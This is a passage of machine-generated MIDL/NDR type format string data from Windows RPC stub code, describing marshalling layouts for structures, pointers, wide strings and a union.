Offset= -26 (458) */\n/* 486 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x2,\t\t/* FC_CHAR */\n/* 488 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 490 */\tNdrFcShort( 0xffd6 ),\t/* Offset= -42 (448) */\n/* 492 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 494 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x1,\t\t/* 1 */\n/* 496 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 498 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x2,\t\t/* FC_CHAR */\n/* 500 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 502 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 504 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 506 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 508 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 510 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (522) */\n/* 512 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x2,\t\t/* FC_CHAR */\n/* 514 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 516 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 518 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 520 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 522 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 524 */\tNdrFcShort( 0xffd4 ),\t/* Offset= -44 (480) */\n/* 526 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 528 */\tNdrFcShort( 0xffd0 ),\t/* Offset= -48 (480) */\n/* 530 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 532 */\tNdrFcShort( 0xffda ),\t/* Offset= -38 (494) */\n/* 534 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 536 */\tNdrFcShort( 0xffd6 ),\t/* Offset= -42 (494) */\n/* 538 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 540 */\tNdrFcShort( 0x88 ),\t/* 136 */\n/* 542 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 544 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (568) */\n/* 546 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 548 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 550 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 552 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 554 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 556 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 558 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 560 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 562 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 564 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 566 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 568 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 570 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 572 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 574 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 576 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 578 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 580 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 582 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 584 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 586 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 588 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 590 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 592 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 594 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 596 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 598 */\tNdrFcShort( 0xff36 ),\t/* Offset= -202 (396) */\n/* 600 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 602 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 604 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 606 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 608 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 610 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 612 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 614 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 616 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 618 */\tNdrFcShort( 0xff8e ),\t/* Offset= -114 (504) */\n/* 620 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 622 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (624) */\n/* 624 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 626 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 628 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 630 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (634) */\n/* 632 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 634 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 636 */\tNdrFcShort( 0xff7c ),\t/* Offset= -132 (504) */\n/* 638 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 640 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (642) */\n/* 642 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 644 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 646 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 648 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (656) */\n/* 650 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 652 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 654 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 656 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 658 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 660 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 662 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 664 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 666 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (668) */\n/* 668 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 670 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 672 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 674 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (684) */\n/* 676 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 678 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 680 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 682 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 684 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 686 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 688 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 690 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 692 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 694 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (696) */\n/* 696 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 698 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 700 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 702 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 704 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (706) */\n/* 706 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 708 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 710 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 712 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (718) */\n/* 714 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 716 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 718 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 720 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 722 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 724 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (726) */\n/* 726 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 728 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 730 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 732 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (736) */\n/* 734 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 736 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 738 */\tNdrFcShort( 0xfeaa ),\t/* Offset= -342 (396) */\n/* 740 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 742 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (744) */\n/* 744 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 746 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 748 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 750 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (754) */\n/* 752 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 754 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 756 */\tNdrFcShort( 0xfe98 ),\t/* Offset= -360 (396) */\n/* 758 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 760 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 762 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 764 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (764) */\n/* 766 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 768 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 770 */\tNdrFcShort( 0xfdc8 ),\t/* Offset= -568 (202) */\n/* 772 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 774 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 776 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (778) */\n/* 778 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 780 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 782 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 784 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (790) */\n/* 786 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 788 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 790 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 792 */\tNdrFcShort( 0xfcfa ),\t/* Offset= -774 (18) */\n/* 794 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x41,\t\t/* Ctxt flags:  in, can't be null */\n/* 796 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 798 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 800 */\tNdrFcShort( 0x12c ),\t/* Offset= 300 (1100) */\n/* 802 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 804 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 806 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 808 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 810 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 812 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 816 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 820 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (822) */\n/* 822 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 824 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 826 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 830 */\tNdrFcShort( 0x16 ),\t/* Offset= 22 (852) */\n/* 832 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 836 */\tNdrFcShort( 0x48 ),\t/* Offset= 72 (908) */\n/* 838 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 842 */\tNdrFcShort( 0x9c ),\t/* Offset= 156 (998) */\n/* 844 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 848 */\tNdrFcShort( 0xa2 ),\t/* Offset= 162 (1010) */\n/* 850 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (849) */\n/* 852 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 854 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (856) */\n/* 856 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 858 */\tNdrFcShort( 0x60 ),\t/* 96 */\n/* 860 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 862 */\tNdrFcShort( 0x16 ),\t/* Offset= 22 (884) */\n/* 864 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 866 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 868 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 870 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 872 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 874 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 876 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 878 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfdb5 ),\t/* Offset= -587 (292) */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 882 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 884 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 886 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 888 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 890 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 892 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 894 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 896 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 898 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 900 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 902 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 904 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 906 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 908 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 910 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (912) */\n/* 912 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 914 */\tNdrFcShort( 0xa0 ),\t/* 160 */\n/* 916 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 918 */\tNdrFcShort( 0x20 ),\t/* Offset= 32 (950) */\n/* 920 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 922 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 924 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 926 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 928 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 930 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 932 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 934 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 936 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 938 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 940 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 942 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfd75 ),\t/* Offset= -651 (292) */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 946 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 948 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 950 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 952 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 954 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 956 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 958 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 960 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 962 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 964 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 966 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 968 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 970 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 972 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 974 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 976 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 978 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 980 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 982 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 984 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 986 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 988 */\tNdrFcShort( 0xfdb0 ),\t/* Offset= -592 (396) */\n/* 990 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 992 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 994 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 996 */\tNdrFcShort( 0xfe14 ),\t/* Offset= -492 (504) */\n/* 998 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1000 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1002) */\n/* 1002 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1004 */\tNdrFcShort( 0xc ),\t/* 12 */\n/* 1006 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1008 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1010 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1012 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1014) */\n/* 1014 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1016 */\tNdrFcShort( 0xa0 ),\t/* 160 */\n/* 1018 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1020 */\tNdrFcShort( 0x20 ),\t/* Offset= 32 (1052) */\n/* 1022 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1024 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1026 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1028 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1030 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1032 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1034 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1036 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1038 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1040 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1042 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1044 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfd0f ),\t/* Offset= -753 (292) */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1048 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1050 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1052 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1054 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1056 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1058 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1060 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1062 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1064 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1066 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1068 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1070 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1072 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1074 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1076 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1078 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1080 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1082 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1084 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1086 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1088 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1090 */\tNdrFcShort( 0xfd4a ),\t/* Offset= -694 (396) */\n/* 1092 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1094 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1096 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1098 */\tNdrFcShort( 0xfdae ),\t/* Offset= -594 (504) */\n/* 1100 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1102 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1104 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1106 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1106) */\n/* 1108 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1110 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1112 */\tNdrFcShort( 0xfeca ),\t/* Offset= -310 